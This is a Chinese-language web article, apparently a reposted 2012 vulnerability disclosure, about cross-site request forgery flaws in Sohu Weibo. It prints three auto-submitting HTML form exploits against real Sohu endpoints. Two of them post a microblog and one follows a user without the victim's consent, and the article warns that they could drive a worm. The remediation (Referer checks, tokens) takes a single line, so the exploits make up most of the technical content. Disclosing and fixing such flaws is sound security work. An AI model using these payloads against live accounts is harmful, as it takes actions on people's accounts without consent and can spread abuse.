搜狐微博的幾處CSRF漏洞分析與解決方法
發(fā)布時間：2012-06-27 14:27:51 作者：佚名 
我要評論
我要評論搜狐某處CSRF漏洞，可能導致蠕蟲蔓延，在未經用戶同意的情況下發(fā)布微博
搜狐某處CSRF漏洞，可能導致蠕蟲蔓延，在未經用戶同意的情況下發(fā)布微博
詳細說明：
在接受POST和GET的信息的時候，未對POST來路(Referer)進行驗證，同時也沒有在POST的信息中加token驗證信息的正確性，導致漏洞產生。
漏洞地址：
復制代碼
代碼如下:http://t.sohu.com/t/twAction.jsp
<html> www.dbjr.com.cn
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
<input type="text" name="msg" value="XX" />
<input type="text" name="act" value="insertTwitter" />
<input type="text" name="groupid" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息
效果
第二個
復制代碼
代碼如下:http://t.sohu.com/t/twAction.jsp
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
<input type="text" name="msg" value="XX" />
<input type="text" name="act" value="insertTwitter" />
<input type="text" name="groupid" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
返回信息
效果
第三個：
漏洞地址：
復制代碼
代碼如下:http://t.sohu.com/follow/addfollows
<html> www.dbjr.com.cn
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/follow/addfollows" method="post">
<input type="text" name="act" value="follow" />
<input type="text" name="friendids" value="23117291" />
<input type="text" name="uid" value="23117291" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息
效果
修復方案：
檢查POST來路Referer
在POST的信息中加token
作者：imlonghao
相關文章
搜狐影音 在線視頻播放器 v7.0.22.0 官方正式免費安裝版
搜狐影音是搜狐視頻強勢推出的一款全新體驗的播放器,支持主流媒體格式的視頻、音頻文件，實現(xiàn)本地播放和在線點播2023-04-09取消搜狗彈出的“搜狐微門戶” 網頁窗口的實現(xiàn)方法(SohuNews.exe進程)
很多朋友都安裝了搜狗輸入法，隨便輸入法用起來不錯，但經常彈出廣告，尤其是非常時期，cpu占用率挺高的，有想要關閉這個網頁窗口的朋友可以參考下2013-01-25
視頻網站適合使用的jQuery縮略圖焦點圖切換，來源于搜狐視頻2010-12-31
來自搜狐數碼頻道的圖片滾動代碼，左右滾動可控制，只需鼠標移到兩端的控制按鈕上，圖片就會自動響應，改變滾動方向。代碼是直接從搜狐扒下來的，簡單的修正了一下，里面有2010-09-16- 搜狐Flash焦點圖輪番效果打包下載，很不錯的效果，邊框修飾成了圓角，控制按鈕比較多，設計的也比較美，不虧是大站的。注意，用到時候要把Flash的背景高為透明，這樣才能保2009-07-14
批量注冊好助手 V3.32 支持網易/126/TOM/迅雷/搜狐郵箱賬號 中文綠色免
網易/126/TOM/迅雷/搜狐郵箱賬號批量注冊好助手2012-07-11
搜搜狗拼音輸入法 V6.2E.7476 去廣告優(yōu)化版 完美支持64位系 獨木成林版
這是一個非常好用的版本很經典2012-08-16
搜狐影音 4.3.0.16 簡體中文綠色免費版 全新加速模式實現(xiàn)本地播放和在
搜狐影音是搜狐視頻強勢推出的一款全新體驗的播放器。2014-06-26
搜狐應用中心是搜狐推出的移動應用商店，涵蓋了數10萬款安卓軟件、游戲等豐富資源，界面簡潔、操作方便，速度飛快2013-03-21
搜狐視頻客戶端 for Mac V3.31.18312 蘋果電腦版
搜狐視頻mac版是一款專為OSX平臺量身打造的觀看流暢，運行穩(wěn)定免費的視頻播放器工具。搜狐影音Mac版，繼承了pc搜狐影音的簡潔清晰界面，包括搜狐視頻、優(yōu)酷、土豆、樂視等2021-05-18
